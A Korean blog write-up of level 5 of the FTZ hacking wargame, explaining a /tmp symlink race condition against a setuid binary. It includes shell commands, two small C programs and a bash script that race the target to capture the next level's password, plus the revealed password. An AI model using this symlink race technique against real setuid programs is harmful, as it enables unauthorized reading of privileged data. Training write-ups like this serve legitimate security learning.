<FTZ LEVEL5>
$ id
uid=3005(level5) gid=3005(level5) groups=3005(level5) |
$ cat hint
이를 이용하여 level6의 권한을 얻어라.
|
level5.tmp 라는 파일이 생성되는 것 같다.
/usr/bin 에 가보면 해당 파일이 존재하는 것을 볼 수 있다.
$ ls -l /usr/bin/level5
-rwsr-x--- 2 level6 level5 14402 Mar 29 2003 /usr/bin/level5 |
SETUID 권한이 있고 level5 그룹은 실행 권한만 있다.
/usr/bin/level5 프로그램을 실행시켜 본다.
아무일도 일어나지 않는다.
/tmp 에도 level5.tmp 가 존재하지 않는다.
아마 프로그램이 실행되면 level5.tmp가 생성되고 바로 삭제되는 것 같다.
여기서 포인트는 level5.tmp를 미리 생성해보면 어떨까 이다.
예를 들어
프로그램이
level5.tmp를 생성하고
무언가 내용을 삽입한뒤
다시 삭제하는 동작을 하는 프로그램이라면
내가 미리 level5.tmp파일을 생성하고 그 내용을 출력하게 동작 시킨다면
/usr/bin/level5의 실행동작 과정중
무언가 내용을 삽입할 때
동시에 내가 만들 파일(level5.tmp)이 동작하게 하는 것이다.
삭제 되기전에 안에 내용을 출력할수 있도록.
$ touch level5.tmp
$ /usr/bin/level5
$ cat level5.tmp
next password : what the hell |
$ ls -l level5.tmp
-rw-rw-r-- 1 level5 level5 31 Jan 16 19:28 level5.tmp |
성공했다.
이런 동작을 레이스 컨디션(Race Condition) 이라고 한다.
프로세서들이 여러번 실행되는 과정에서 실행 순서가 뒤바뀌어 실행자가 원하는 결과를 얻는 것이다.
일종의 경쟁 상태 라고 해석하면 된다.
아마도 위 코드에선 fopen을 사용한 것 같다.
fopen의 특징으로는 경로안에 해당 파일이 없을 경우 새로 생성하고,
만약 존재하면 그 파일을 사용한다. 그냥 덮어써버리는 것이다.
이를 이용해서 내가 만든 프로그램을 level5.tmp에 심볼릭링크 하고
그안에 내용이 추가되면 남기도록 하거나 혹은 출력하게 하고
그 동작을 반복 시킨다면 기존에 /usr/bin/level5 프로그램이 실행되는 과정에서
passwd가 출력되는 순간을 잡아낼 것이다.
$ vi test.txt
$ ln -s /tmp/test.txt /tmp/level5.tmp
$ /usr/bin/level5
$ cat /tmp/level5.tmp
$ cat test.txt
확인해 보길 바란다.
추가적인 실습으로
레이스 컨디션을 이용한 스크립트를 제작해 보자.
(1) vi runTarget
#include <unistd.h>
int main(void) { int i; for(i=0; i<10; i++) { system("/usr/bin/level5 &"); } } |
(2) vi Attack_Target
#include<unistd.h>
int main() { int i;
system("touch /tmp/18pass.txt"); for(i=0; i<=10; i++) { system("ln -s /tmp/18pass.txt /tmp/level5.tmp"); } system("cat /tmp/18pass.txt"); system("rm -rf /tmp/18pass.txt"); } |
(3)
#!/bin/bash
# # # gcc -o Attack_Target Attack_Target.c # # gcc -o runTarget runTarget.c # # ./Attack_Target.sh #
./runTarget & ./Attack_Target |
이상태 에서 ./Attack_Target.sh 을 실행한 결과
ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 next password : what the hell |
LEVEL5에서 요구하는 레이스 컨디션의 취약점을 이용한 방식의 풀이 이다.
'Learning > └◆System Hacking' 카테고리의 다른 글
[War Game] FTZ LEVEL 7 (0) | 2017.01.22 |
---|---|
[War Game] FTZ LEVEL 6 (0) | 2017.01.22 |
[War Game] FTZ LEVEL 4 (0) | 2017.01.21 |
[War Game] FTZ LEVEL 3 (0) | 2017.01.21 |